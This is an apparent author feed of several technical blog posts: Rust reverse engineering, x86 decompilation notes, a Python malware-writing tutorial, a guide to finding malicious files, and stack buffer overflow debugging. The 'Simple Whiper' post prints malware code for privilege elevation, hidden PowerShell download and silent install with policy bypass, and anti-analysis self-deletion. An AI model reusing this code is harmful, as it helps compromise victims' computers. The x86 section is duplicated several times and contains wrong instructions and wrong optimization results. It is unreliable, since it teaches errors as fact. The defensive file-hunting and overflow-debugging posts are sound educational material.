DEV Community: maximilian feldthusen

Reverse Engineering of Rust Binaries

maximilian feldthusen — Tue, 11 Jul 2023 03:50:27 +0000

Introduction

The Rust programming language is like rust on a vehicle for malware analysts and reverse engineers. The adoption of the language by malware authors spreads like cancer the longer it is in active development. This is due to convenient static linking and support for many operating systems, yielding a binary with little to no dependencies. These features are excellent for the distribution of malware. Every time we need to reverse engineer a Rust binary, we would rather embrace the sweet release of death. We need to take a deeper look into why our current tools are failing to help us perform our jobs effectively. As always with new technologies, it will take some time for our tools to catch up with new compilers. To better understand Rust, let’s have a look at its official definition.

Rust is a multi-paradigm, general-purpose programming language. Rust emphasizes performance, type safety, and concurrency. Rust enforces memory safety—that is, that all references point to valid memory—without requiring the use of a garbage collector or reference counting present in other memory-safe languages. To simultaneously enforce memory safety and prevent concurrent data races, Rust’s borrow checker tracks the object lifetime and variable scope of all references in a program during compilation. Rust is popular for systems programming, but also offers high-level features, including functional programming constructs. - Wikipedia

Now that you have a basic understanding of what Rust is, we will now break down some common misconceptions. After this, we will discuss the toolset and reverse engineering challenges.

Rust’s Origin Story

Rust, like pretty much all modern programming languages these days, was created using LLVM. The very language Rust developers hate, C or C++ is used to create Rust. Let that shit sink into your heads for a minute.

Compilers are not magic, they are usually created from lower level programming languages. Without an egg, how do you get chickens or your American breakfast in the morning, It must originate from somewhere.

If you need entertainment, tell a Rust fanboy or fangirl that Rust came from C++ and LLVM. Then watch them question everything they thought they knew.

Memory

Don’t be fooled, although it has been stated that Rust does not have a garbage collector, this is based on a definition technicality. Yes, we are talking about semantics at this point, in my opinion.

Rust does more memory garbage collection calculation during compile time, instead of during runtime.

Although Rust fanatics think the language is a safe haven with no vulnerabilities, you can still perform unsafe memory operations in Rust as well by using the unsafe keyword. In the unsafe block you can dereference raw pointers, implement unsafe traits, access or modify a mutable static variable, call unsafe functions or methods.


extern crate libc; 
use std::mem;
fn main() {
    unsafe {
        let my_num: *mut i32 = libc::malloc(mem::size_of::<i32>() as libc::size_t) as *mut i32;
        libc::free(my_num as *mut libc::c_void);
    }
}

It is important to note that although unsafe is used, the rustc compiler will still insert some memory safety features.

This makes rustc a very powerful compiler where the developer can completely bypass safety to do lower level operations just like in C, Assembly or C++.

Rust provides “memory safe” options much like in C++, when you use std::string the compiler will deallocate the object once it is no longer referenced. As with any technology, the language is not completely “memory safe” as they may advertise. With any application there can be vulnerabilities, humans did write the Rust programming language, developers can still insert unsafe code, and we are not infallible creatures.

We now learned that Rust developers can introduce unsafe memory operations into their applications. Also, we now know that garbage collection still happens but more so, it’s added to the program during compile time rather than handled during runtime. Again, if you have a “memory safe” language, the cleanup of memory must be handled for you somehow, that garbage has to go somewhere, it just does not disappear into the void magically.

Rust Toolset

In order to understand how to reverse engineer Rust binaries, we should have a basic understanding of the toolset provided to developers.

rustc

The compiler rustc is used to compile Rust code.

Most developers do not invoke rustc directly, but instead use cargo.

 cargo build --verbose

cargo

Cargo is a Rust package manager, it will download package dependencies, compiles packages, distributes packages by uploading them to crates.io.

Think of it like pip for Python.

Reverse Engineering Challenges

This section will cover challenges we face with our existing tooling when reverse engineering Rust binaries.

Strings without NULL Termination

Rust will store strings differently than most compilers, it will store them without NULL termination between strings, then reference the very long strings with a table.

Rust will store strings differently than most compilers, it will store them as multiple strings all together without NULL terminators between them. The address of these very long strings will be referenced by pointer and size in a table.

We can emulate how Rust prints strings by using the format strings with %.*s and how it avoids using NULL terminators in the following code.


#include <stdio.h>

#define STRING_SIZE   27
#define STRING_SIZE_0 13
#define STRING_SIZE_1 13

typedef struct _RUST_STRINGS {
  char *ascii;
  unsigned int size;
} RUST_STRINGS, *PRUST_STRINGS;

int main(int argc, char **argv){
  char g_strings[STRING_SIZE] = "Hello World!\nHello There!\n\0";
  RUST_STRINGS rstrings[2] = {
      {(char *)*&g_strings, STRING_SIZE_0},
      {(char *)&g_strings+STRING_SIZE_0, STRING_SIZE_1}};
  printf("%.*s", rstrings[0].size, rstrings[0].ascii);
  printf("%.*s", rstrings[1].size, rstrings[1].ascii);
  return 0;
}

While this may seem like a complete waste of time, there are a few benefits to storing strings without the NULL terminators this way.

Fewer calls to strlen() or other equivalent system calls

String manipulation, concatenation, truncation etc.

The functional equivalent code in Rust would be as follows.


fn main() {
    let string_0 = "Hello World!";
    let string_1 = "Hello There!";
    println!("{}", string_0);
    println!("{}", string_1);
}

Static Linking

NOTE: This Rust code is not 100% the equivalent, just covering the basic principles

We can combat string issues in Rust binaries by defining the proper table structures in your decompiler.

This type of string operations will potentially increase performance at the expense of your sanity.

Static Linking

Howto turn a x86 binary executable back into C source code

maximilian feldthusen — Mon, 05 Jun 2023 10:36:47 +0000

Objective: turn a x86 binary executable back into C source code.
Understand how the compiler turns C into assembly code.
Low-level OS structures and executable file format.

Arithmetic Instructions

mov eax,2 ; eax = 2 
mov ebx,3 ; ebx = 3
add eax,ebx ; eax = eax + ebx 
sub ebx, 2 ; ebx = ebx - 2

Accessing Memory

mox eax, [1234] ; eax = *(int*)1234 
mov ebx, 1234 ; ebx = 1234 
mov eax, [ebx] ; eax = *ebx 
mov [ebx], eax ; *ebx = eax

Conditional Branches

cmp eax, 2 ; compare eax with 2 
je label1 ; if(eax==2) goto label1
 ja label2 ; if(eax>2) goto label2
jb label3 ; if(eax<2) goto label3 
jbe label4 ; if(eax<=2) goto label4
 jne label5 ; if(eax!=2) goto label5
 jmp label6 ; unconditional goto label6

Function calls

First calling a function:
call func ; store return address on the stack and jump to func
The first operations is to save the return pointer:

pop esi ; save esi 
Right before leaving the function:
pop esi ; restore esi
ret ; read return address from the stack and jump to it

Modern Compiler Architecture

C code --> Parsing --> Intermediate representation --> optimization -->
Low-level intermediate representation --> register allocation --> x86 assembly

High-level Optimizations

Inlining

For example, the function c:

int foo(int a, int b){
     return a+b }
 c = foo(a, b+1)

translates to

c = a+b+1

Loop unrolling

The loop:

for(i=0; i<2; i++){
      a[i]=0;
 }

becomes

   a[0]=0; 
   a[1]=0;

Loop-invariant code motion

The loop:
for (i = 0; i < 2; i++) {
 a[i] = p + q; 
}

becomes:


temp = p + q;
for (i = 0; i < 2; i++) {
    a[i] = temp;
}

Common subexpression elimination

The variable attributions:

Objective: turn a x86 binary executable back into C source code.
Understand how the compiler turns C into assembly code.
Low-level OS structures and executable file format.

Arithmetic Instructions

mov eax,2 ; eax = 2 
mov ebx,3 ; ebx = 3
add eax,ebx ; eax = eax + ebx 
sub ebx, 2 ; ebx = ebx - 2

Accessing Memory

mox eax, [1234] ; eax = *(int*)1234 
mov ebx, 1234 ; ebx = 1234 
mov eax, [ebx] ; eax = *ebx 
mov [ebx], eax ; *ebx = eax

Conditional Branches

cmp eax, 2 ; compare eax with 2 
je label1 ; if(eax==2) goto label1
 ja label2 ; if(eax>2) goto label2
jb label3 ; if(eax<2) goto label3 
jbe label4 ; if(eax<=2) goto label4
 jne label5 ; if(eax!=2) goto label5
 jmp label6 ; unconditional goto label6

Function calls

First calling a function:
call func ; store return address on the stack and jump to func
The first operations is to save the return pointer:

pop esi ; save esi 
Right before leaving the function:
pop esi ; restore esi
ret ; read return address from the stack and jump to it

Modern Compiler Architecture

C code --> Parsing --> Intermediate representation --> optimization -->
Low-level intermediate representation --> register allocation --> x86 assembly

High-level Optimizations

Inlining

For example, the function c:

int foo(int a, int b){
     return a+b }
 c = foo(a, b+1)

translates to

c = a+b+1

Loop unrolling

The loop:

for(i=0; i<2; i++){
      a[i]=0;
 }

becomes

   a[0]=0; 
   a[1]=0;

Loop-invariant code motion

The loop:
for (i = 0; i < 2; i++) {
 a[i] = p + q; 
}

becomes:

temp = p + q;
for (i = 0; i < 2; i++) {
    a[i] = temp;
}

Common subexpression elimination

The variable attributions:

a = b + (z + 1)
p = q + (z + 1)

becomes

temp = z + 1
a = b + z
p = q + z

Constant folding and propagation

The assignments:

a = 3 + 5
b = a + 1
func(b)

Becomes:

func(9)

Dead code elimination

Delete unnecessary code:

a = 1
if (a < 0) {
printf(“ERROR!”)
}

a = 1

Low-Level Optimizations

Strength reduction

Codes such as:

y = x * 2
y = x * 15

Becomes:

y = x + x
y = (x << 4) - x

Code block reordering

Codes such as :

if (a < 10) goto l1
printf(“ERROR”)
goto label2
l1:
    printf(“OK”)
l2:
    return;

Becomes:

if (a > 10) goto l1
printf(“OK”)
l2:
return
l1:
printf(“ERROR”)
goto l2

Memory access is slower than registers.
Try to fit as many as local variables as possible in registers.
The mapping of local variables to stack location and registers is not constant.

Instruction scheduling

Assembly code like:

mov eax, [esi]
add eax, 1
mov ebx, [edi]
add ebx, 1

Becomes:

mov eax, [esi]
mov ebx, [edi]
add eax, 1
add ebx, 1

a = b + (z + 1)
p = q + (z + 1)

becomes

temp = z + 1
a = b + z
p = q + z

Constant folding and propagation

The assignments:

a = 3 + 5
b = a + 1
func(b)

Becomes:

func(9)

Dead code elimination

Delete unnecessary code:

a = 1
if (a < 0) {
printf(“ERROR!”)
}

a = 1

Low-Level Optimizations

Strength reduction

Codes such as:

y = x * 2
y = x * 15

Becomes:

y = x + x
y = (x << 4) - x

Code block reordering

Codes such as :

if (a < 10) goto l1
printf(“ERROR”)
goto label2
l1:
    printf(“OK”)
l2:
    return;

Becomes:

if (a > 10) goto l1
printf(“OK”)
l2:
return
l1:
printf(“ERROR”)
goto l2

Memory access is slower than registers.
Try to fit as many as local variables as possible in registers.
The mapping of local variables to stack location and registers is not constant.
Objective: turn a x86 binary executable back into C source code.
Understand how the compiler turns C into assembly code.
Low-level OS structures and executable file format.

Arithmetic Instructions

mov eax,2 ; eax = 2 
mov ebx,3 ; ebx = 3
add eax,ebx ; eax = eax + ebx 
sub ebx, 2 ; ebx = ebx - 2

Accessing Memory

mox eax, [1234] ; eax = *(int*)1234 
mov ebx, 1234 ; ebx = 1234 
mov eax, [ebx] ; eax = *ebx 
mov [ebx], eax ; *ebx = eax

Conditional Branches

cmp eax, 2 ; compare eax with 2 
je label1 ; if(eax==2) goto label1
 ja label2 ; if(eax>2) goto label2
jb label3 ; if(eax<2) goto label3 
jbe label4 ; if(eax<=2) goto label4
 jne label5 ; if(eax!=2) goto label5
 jmp label6 ; unconditional goto label6

Function calls

First calling a function:
call func ; store return address on the stack and jump to func
The first operations is to save the return pointer:

pop esi ; save esi 
Right before leaving the function:
pop esi ; restore esi
ret ; read return address from the stack and jump to it

Modern Compiler Architecture

C code --> Parsing --> Intermediate representation --> optimization -->
Low-level intermediate representation --> register allocation --> x86 assembly

High-level Optimizations

Inlining

For example, the function c:

int foo(int a, int b){
     return a+b }
 c = foo(a, b+1)

translates to

c = a+b+1

Loop unrolling

The loop:

for(i=0; i<2; i++){
      a[i]=0;
 }

becomes
   a[0]=0; 
   a[1]=0;

Loop-invariant code motion

The loop:

for (i = 0; i < 2; i++) {
 a[i] = p + q; 
}

becomes:

temp = p + q;
for (i = 0; i < 2; i++) {
    a[i] = temp;
}

Common subexpression elimination

The variable attributions:

Objective: turn a x86 binary executable back into C source code.
Understand how the compiler turns C into assembly code.
Low-level OS structures and executable file format.

Arithmetic Instructions

mov eax,2 ; eax = 2 
mov ebx,3 ; ebx = 3
add eax,ebx ; eax = eax + ebx 
sub ebx, 2 ; ebx = ebx - 2

Accessing Memory

mox eax, [1234] ; eax = *(int*)1234 
mov ebx, 1234 ; ebx = 1234 
mov eax, [ebx] ; eax = *ebx 
mov [ebx], eax ; *ebx = eax

Conditional Branches

cmp eax, 2 ; compare eax with 2 
je label1 ; if(eax==2) goto label1
 ja label2 ; if(eax>2) goto label2
jb label3 ; if(eax<2) goto label3 
jbe label4 ; if(eax<=2) goto label4
 jne label5 ; if(eax!=2) goto label5
 jmp label6 ; unconditional goto label6

Function calls

First calling a function:
call func ; store return address on the stack and jump to func
The first operations is to save the return pointer:

pop esi ; save esi 
Right before leaving the function:
pop esi ; restore esi
ret ; read return address from the stack and jump to it

Modern Compiler Architecture

C code --> Parsing --> Intermediate representation --> optimization -->
Low-level intermediate representation --> register allocation --> x86 assembly

High-level Optimizations

Inlining

For example, the function c:

int foo(int a, int b){
     return a+b }
 c = foo(a, b+1)

translates to

c = a+b+1

Loop unrolling

The loop:

for(i=0; i<2; i++){
      a[i]=0;
 }

becomes

   a[0]=0; 
   a[1]=0;

Loop-invariant code motion

The loop:
for (i = 0; i < 2; i++) {
 a[i] = p + q; 
}

becomes:

temp = p + q;
for (i = 0; i < 2; i++) {
    a[i] = temp;
}

Common subexpression elimination

The variable attributions:

a = b + (z + 1)
p = q + (z + 1)

becomes

temp = z + 1
a = b + z
p = q + z

Constant folding and propagation

The assignments:

a = 3 + 5
b = a + 1
func(b)

Becomes:

func(9)

Dead code elimination

Delete unnecessary code:

a = 1
if (a < 0) {
printf(“ERROR!”)
}

a = 1

Low-Level Optimizations

Strength reduction

Codes such as:

y = x * 2
y = x * 15

Becomes:

y = x + x
y = (x << 4) - x

Code block reordering

Codes such as :

if (a < 10) goto l1
printf(“ERROR”)
goto label2
l1:
    printf(“OK”)
l2:
    return;

Becomes:

if (a > 10) goto l1
printf(“OK”)
l2:
return
l1:
printf(“ERROR”)
goto l2

Memory access is slower than registers.
Try to fit as many as local variables as possible in registers.
The mapping of local variables to stack location and registers is not constant.

Instruction scheduling

Assembly code like:

mov eax, [esi]
add eax, 1
mov ebx, [edi]
add ebx, 1

Becomes:

mov eax, [esi]
mov ebx, [edi]
add eax, 1
add ebx, 1

a = b + (z + 1)
p = q + (z + 1)

becomes

temp = z + 1
a = b + z
p = q + z

Constant folding and propagation

The assignments:

a = 3 + 5
b = a + 1
func(b)

Becomes:

func(9)

Dead code elimination

Delete unnecessary code:

a = 1
if (a < 0) {
printf(“ERROR!”)
}

a = 1

Low-Level Optimizations

Strength reduction

Codes such as:

y = x * 2
y = x * 15

Becomes:

y = x + x
y = (x << 4) - x

Code block reordering

Codes such as :

if (a < 10) goto l1
printf(“ERROR”)
goto label2
l1:
    printf(“OK”)
l2:
    return;

Becomes:

if (a > 10) goto l1
printf(“OK”)
l2:
return
l1:
printf(“ERROR”)
goto l2

Memory access is slower than registers.
Try to fit as many as local variables as possible in registers.
The mapping of local variables to stack location and registers is not constant.

Instruction scheduling

Assembly code like:

mov eax, [esi]
add eax, 1
mov ebx, [edi]
add ebx, 1

Becomes:

mov eax, [esi]
mov ebx, [edi]
add eax, 1
add ebx, 1

Instruction scheduling

Assembly code like:

mov eax, [esi]
add eax, 1
mov ebx, [edi]
add ebx, 1

Becomes:

mov eax, [esi]
mov ebx, [edi]
add eax, 1
add ebx, 1

Simple Whiper

maximilian feldthusen — Sat, 25 Mar 2023 09:10:12 +0000

Introduction

In this article, I’ll describe how to write a malware, Please notice this is not a “true” malware this is only has to show
you the basics and even how easy to be written, Probably python is not the best choice at all, It’s an interpreted language and so it needs an interpreter to be executed so to write a malware probably other languages that can work to a lower level and that can be compiled are probably a better choice, malware is often designed to be small, stealthy, have low memory footprint, and use limited processing power.
So it’s very common to see malware written in C & Assembly.

Overview

At first, I will show its code then I will describe generally how this malware works, code consisted of two components: we are talking only about windows, The techniques you gone see in this malware are taken from a public malware samples.
The First function IsAdmin

def IsAdmin():
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
            except:
                    return False

it checks if it has Administrator privileges, if it doesn’t it runs RunAsAdmin using the ShellExecute trick runas to elevate
privileges, and exits immediately


def RunAsAdmin():
ctypes.windll.shell32.IsUserAnAdmin() or (ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join(sys.argv), None, 1) > 32, sys.exit())

Is64Bit

def Is64Bit():
    return platform.machine().endswith('64')

it just check if the current process is a 64-bit using platform lib this function it’s gone be called later in InstallPy to determine which version of python should be installed, a simple if statement.

os_p = 64
        if not Is64Bit():
            os_p = 32

IsOnline This function simply checks if the infected computer is online using the “request” lib to get an HTTP response If TRUE, pass if not, the program will delete it itself why? Desperate ways to avoid analysis and we don’t want to infect a dead computer 😉

def IsOnline():
    try:
        x = requests.get('https://google.com', verify=False)
            return True
                except:
                    return False

Interpreter

IsPyExist Here I am using os.path.exists to see if python path exist in infected computer this can be done also by using subprocess to execute powershell cmd to check the version of python this way we can tell if python is present on the infected computer or not.

    p = subprocess.run(['powershell',
                        """$p = &{python -V} 2>&1;$version = if($p -is [System.Management.Automation.ErrorRecord]){$p.Exception.Message}; $p"""],
                       stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True, startupinfo=startupinfo)
    p.stdout.decode()
    return True
    for num in range(10, 45):
        if os.path.exists(f"C:/Users/{os.getlogin()}/Appdata/Local/Programs/Python/Python{num}/python.exe"):
            return True
            return False

InstallPy The goal of this function is to install Python on the infected machine. The key is that we are installing our interpreter using a language that is already built into Windows.


def InstallPy():
    os_p = 64
    if not Is64Bit():
        os_p = 32
    rand_py = f'python{random.randrange(111, 9999999)}.exe'
    url = "https://www.python.org/ftp/python/3.8.1/python-3.8.1-amd64.exe" if os_p == 64 else "https://www.python.org/ftp/python/3.8.1/python-3.8.1.exe"
    subprocess.run(
        f"""powershell -ep Bypass -WindowStyle Hidden -Command "iwr -Uri {url} -OutFile c:/users/$env:username/appdata/local/temp/{rand_py}" """)
    if os.path.exists(f"c:/users/{os.getlogin()}/appdata/local/temp/{rand_py}"):
        subprocess.run(
            f"c:/users/{os.getlogin()}/appdata/local/temp/{rand_py} /quiet InstallAllUsers=0 Include_launcher=0 PrependPath=1 Include_test=0")
    os.remove(f"c:/users/{os.getlogin()}/appdata/local/temp/{rand_py}")
    subprocess.run("python -m pip install --upgrade pip")
    subprocess.run("python -m pip install pyinstaller psutil")
    pip_list = RunPwsh("pip list")
    if 'psutil' in pip_list.lower():
        wait4 = os.system('msg %username% in!')
    subprocess.run("msg %username% finished")
    return True

PowerShell -WindowStyle Hidden

will hide the window.

-ExecutionPolicy Bypass

should already do the run as admin part

iwr -Uri Invoke-WebRequest

It parses the response and returns collections of links,
The {url} will automatically download no need for user interaction -OutFile output python exe to temp directory under a random name using {rand_py}

How to uncover malicious malware files

maximilian feldthusen — Tue, 08 Feb 2022 06:30:50 +0000

An unfortunate side-effect of being online is the fact that you are continually being probed for weaknesses by ne'er do wells. Be it your computer, your internet provider, or your website,
someone is almost always trying to find a way in to further their illicit goals, and give you a pretty massive headache as a result. While this article will not be able to teach you everything, it will serve to give you some hints to use when troubleshooting your own sites.

Find, Grep & Stat
These three commands can easily uncover some kinds of malicious code and can often help point you towards the source of the attack, if they're used properly. I will break down how to use each command separately, and then later how they can be used in concert.

Find
The Linux manual defines this command as a utility that "recursively descends the directory tree for each path listed, evaluating an expression in terms of each file in the tree."
Simply put, the Find utility lets you search an area to look for files or folders as defined by a number of variables, such as by name, by owner, by time modified, etc.
For example, to search the directory "/home/mywebsite" for a file called foobar.txt, you can run the following command:

find /home/mywebsite -type f -name "foobar.txt"

This should return the following:

/home/mywebsite/folder/another-folder/foobar.txt

If you want to find a list of files in that same "/home/mywebsite" directory that have been changed in the last 7 days, you can run the following command:

find /home/mywebsite -type f -ctime -7

The (-7) after ctime means files changed within 7 days or less. if that was changed to a plus (+) symbol, it would mean any files changed a minimum or 7 days or longer.
Here is a more complex example: To find a list of all files inside "/home/mywebsite" with the extension .php that have been changed within 30 days, you can run the following command:

find /home/mywebsite -type f -name "*.php" -ctime -30

There are more commands that 'find' can handle. If you want to know more, see the manual page by
typing "man find" in SSH.

Grep
The Linux manual defines this command as a utility that "searches the named input FILEs (or standard input if no files are named, or the file name - is given) for lines containing a match to the
given PATTERN. By default, grep prints the matching lines."
Essentially, the grep utility lets you search files for a matching text pattern.
'Grep' is one of the greatest commands for finding malicious files, but it can also turn up a lot of false-positives. The following are the very basics of the command. These examples will be searching in the "/home/mywebsite" directory.
For example, to find the phrase "hello world", located in a file somewhere inside that directory, you can run the following command:

grep -r "hello world" /home/mywebsite

If there was a file that contains that phrase, 'grep' will post the path to the file, and the line containing the matching text:

/home/mywebsite/foo/bar/hello.txt: hello world!

Please note that grep searches are case-sensitive. To ignore case-sensitivity, use the '-i' flag
For more information, see the manual page for grep by typing 'man grep' in SSH.

Stat
The Linux manual defines this command as a utility that is used to "display file or filesystem status."
To expand on this, the stat utility is used to display permissions, ownership and various timestamps of a file.
To see an example of the 'stat' command output, let's take a look at that file we found earlier via the 'find' command, "/home/mywebsite/folder/another-folder/foobar.txt":

stat /home/mywebsite/folder/another-folder/foobar.txt

File: `home/mywebsite/folder/another-folder/foobar.txt'
Size: 19043
Blocks: 39
IO Block: 32768 regular file
Device: 17h/23d Inode: 140209072
Links: 1
Access: (0644/-rw-r--r--) Uid: (841608/mywebsite-user)
Gid: (88432/mywebsite-
user)Access: 2011-10-22 21:10:09.106667057 -0700
Modify: 2011-11-14 15:14:19.493663971 -0800
Change: 2011-11-14 15:14:19.494043373 -0800

The line with "Access/Uid/Gid" simply lays out the read/write/execute permissions of the file, and who owns it in user and group. The last three lines deal with the time-stamp of the file. "Access" normally refers to when it was first created, or last written to. "Modify" refers to the last time the file changed permissions, or was renamed (among other things). "Change" refers to the last time the actual contents of the file were modified.
Many malicious scripts are able to keep the access and modify time-stamps unchanged, but the change time-stamp will always reflect that someone has been inside the file. If a file has been
modified via FTP, all three time-stamps will be changed to the same date.

Finding a Stack Buffer Overflow

maximilian feldthusen — Mon, 07 Feb 2022 06:52:27 +0000

One of the danger of C-style arrays is that their length is not attached to the pointer that points to their beginning. This means that there are lots of unsafe library functions that might write beyond the allocated space.

One such example is sprintf function:

int sprintf(char *str, const char *format, ...);

It just takes a naked pointer to the buffer and a format string, as well as values to format. If the buffer in str is not large enough, sprintf will not know it and just happily write beyond the bounds.

Take the following program which writes a long string to a buffer which is too short.

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv) {
    char buffer[10];

    sprintf(buffer, "This string is too long for the buffer");

    return 0;
}

When you compile it with a recent enough version of GCC with -Wall -Wpedantic, it will already figure this out in this simple example:

$ gcc -Wall -Wpedantic -g overflow.c
overflow.c:7:32: warning: 'This string is too long for ...' directive writing 38 bytes into a region of size 10 [-Wformat-overflow=]
     sprintf(buffer, "This string is too long for the buffer");
                      ~~~~~~~~~~^~~~~~~~~~~~~~~~~~~~~~~~~~~~
overflow.c:7:5: note: 'sprintf' output 39 bytes into a destination of size 10
     sprintf(buffer, "This string is too long for the buffer");
  ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

When you execute the program, it will just crash with a segmentation fault. Let us assume that we do not know where this error came from and try to find it with the use of tools. In reality the problem is more intricate and not as obvious as in this minimal example.
GDB

Running it in GDB gives this output:

Program received signal SIGSEGV, Segmentation fault.

0x0000000000400511 in main (argc=1, argv=0x7fffffffdec8) at overflow.c:10

And this is the backtrace:

#0  0x0000000000400511 in main (argc=1, argv=0x7fffffffdec8) at overflow.c:10

Line 10 is the end of the program, so that is not particularly helpful really. We need better tools.
Valgrind

One way to check this is using valgrind:

$ valgrind ./a.out
==26992== Memcheck, a memory error detector
==26992== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
==26992== Using Valgrind-3.13.0 and LibVEX; rerun with -h for copyright info
==26992== Command: ./a.out
==26992==
==26992== Jump to the invalid address stated on the next line
==26992==    at 0x6F6620676E6F6C20: ???
==26992==    by 0x7562206568742071: ???
==26992==    by 0x72656665: ???
==26992==    by 0x10003FFFF: ???
==26992==    by 0x4004E5: ??? (in a.out)
==26992==  Address 0x6f6620676e6f6c20 is not stack'd, malloc'd or (recently) free'd
==26992==
==26992==
==26992== Process terminating with default action of signal 11 (SIGSEGV): dumping core
==26992==  Bad permissions for mapped region at address 0x6F6620676E6F6C20
==26992==    at 0x6F6620676E6F6C20: ???
==26992==    by 0x7562206568742071: ???
==26992==    by 0x72656665: ???
==26992==    by 0x10003FFFF: ???
==26992==    by 0x4004E5: ??? (in a.out)
==26992==
==26992== HEAP SUMMARY:
==26992==     in use at exit: 0 bytes in 0 blocks
==26992==   total heap usage: 0 allocs, 0 frees, 0 bytes allocated
==26992==
==26992== All heap blocks were freed -- no leaks are possible
==26992==
==26992== For counts of detected and suppressed errors, rerun with: -v
==26992== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)

Valgrind is not the right tool for finding static buffer overflows, therefore it is not helpful here. If we had used a dynamically allocated buffer, like in the following code example, it would work much better. Let us change the following in the above program:

//char buffer[10];
char *buffer = malloc(10);

When we run Valgrind again, we get this:

$ valgrind ./a.out
==27320== Memcheck, a memory error detector
==27320== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
==27320== Using Valgrind-3.13.0 and LibVEX; rerun with -h for copyright info
==27320== Command: ./a.out
==27320==
==27320== Invalid write of size 1
==27320==    at 0x4C35F55: mempcpy (vg_replace_strmem.c:1524)
==27320==    by 0x4EB8AF7: _IO_default_xsputn (in /usr/lib64/libc-2.27.so)
==27320==    by 0x4E8A849: vfprintf (in /usr/lib64/libc-2.27.so)
==27320==    by 0x4EAD760: vsprintf (in /usr/lib64/libc-2.27.so)
==27320==    by 0x4E93763: sprintf (in /usr/lib64/libc-2.27.so)
==27320==    by 0x400568: main (in /home/mu/Projekte/eigene-webseite/articles/finding-stack-buffer-overflows/a.out)
==27320==  Address 0x51fa065 is 21 bytes after a block of size 16 in arena "client"
==27320==
==27320== Invalid write of size 1
==27320==    at 0x4EAD76F: vsprintf (in /usr/lib64/libc-2.27.so)
==27320==    by 0x4E93763: sprintf (in /usr/lib64/libc-2.27.so)
==27320==    by 0x400568: main (in /home/mu/Projekte/eigene-webseite/articles/finding-stack-buffer-overflows/a.out)
==27320==  Address 0x51fa066 is 22 bytes after a block of size 16 in arena "client"
==27320==
==27320==
==27320== HEAP SUMMARY:
==27320==     in use at exit: 10 bytes in 1 blocks
==27320==   total heap usage: 1 allocs, 0 frees, 10 bytes allocated
==27320==
==27320== LEAK SUMMARY:
==27320==    definitely lost: 10 bytes in 1 blocks
==27320==    indirectly lost: 0 bytes in 0 blocks
==27320==      possibly lost: 0 bytes in 0 blocks
==27320==    still reachable: 0 bytes in 0 blocks
==27320==         suppressed: 0 bytes in 0 blocks
==27320== Rerun with --leak-check=full to see details of leaked memory
==27320==
==27320== For counts of detected and suppressed errors, rerun with: -v
==27320== ERROR SUMMARY: 29 errors from 2 contexts (suppressed: 0 from 0)

Here you can neatly see that the error happens within sprintf and this should be enough cue to track down this bug.
Address sanitizer

The best tool for this job is the address sanitizer. You need a somewhat recent version of GCC or Clang to have it built in. And it only works on Linux. Compile the code with the sanitizer:

gcc -Wall -Wpedantic -fsanitize=address -g overflow.c

When we now let the program run and we get the following output:

$ ./a.out
=================================================================
==28566==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffe6256d1fa at pc 0x7fbbab43705f bp 0x7ffe6256d0c0 sp 0x7ffe6256c850
WRITE of size 39 at 0x7ffe6256d1fa thread T0
    #0 0x7fbbab43705e in vsprintf (/lib64/libasan.so.5+0x4f05e)
    #1 0x7fbbab4373de in sprintf (/lib64/libasan.so.5+0x4f3de)
    #2 0x40086d in main overflow.c:7
    #3 0x7fbbab04c24a in __libc_start_main (/lib64/libc.so.6+0x2324a)
    #4 0x400719 in _start (a.out+0x400719)

Address 0x7ffe6256d1fa is located in stack of thread T0 at offset 42 in frame
    #0 0x4007e5 in main overflow.c:4

  This frame has 1 object(s):
    [32, 42) 'buffer' <== Memory access at offset 42 overflows this variable

HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext

      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow (/lib64/libasan.so.5+0x4f05e) in vsprintf
Shadow bytes around the buggy address:
  0x10004c4a59e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004c4a59f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004c4a5a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004c4a5a10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004c4a5a20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x10004c4a5a30: 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1 00[02]
  0x10004c4a5a40: f2 f2 f3 f3 f3 f3 00 00 00 00 00 00 00 00 00 00
  0x10004c4a5a50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004c4a5a60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004c4a5a70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004c4a5a80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==28566==ABORTING

We see that it is a “stack buffer overflow” and it happens in the sprintf. The memory map at the bottom shows us the amount of space that is allocated on the stack and where we wanted to write. This makes finding the bug really easy.
snprintf

The whole problem only arose because we used a function with the assumption that the allocated buffer is large enough. There is on hard check in place and this can lead to crashes or even security risks for our application. Therefore it is better to use something safe.

In C this is done with the snprintf function:

int snprintf(char *str, size_t size, const char *format, ...);

This is passed the length of the buffer and returns the number of characters that would have been written. Therefore we need to change the code:

int const buffer_size = 10;
int const chars_written = snprintf(buffer, buffer_size, "This string is too long for the buffer");
if (chars_written >= buffer_size) {
    fprintf(stderr, "The allocated space was insufficient, allocate more!\n");
    abort();
}

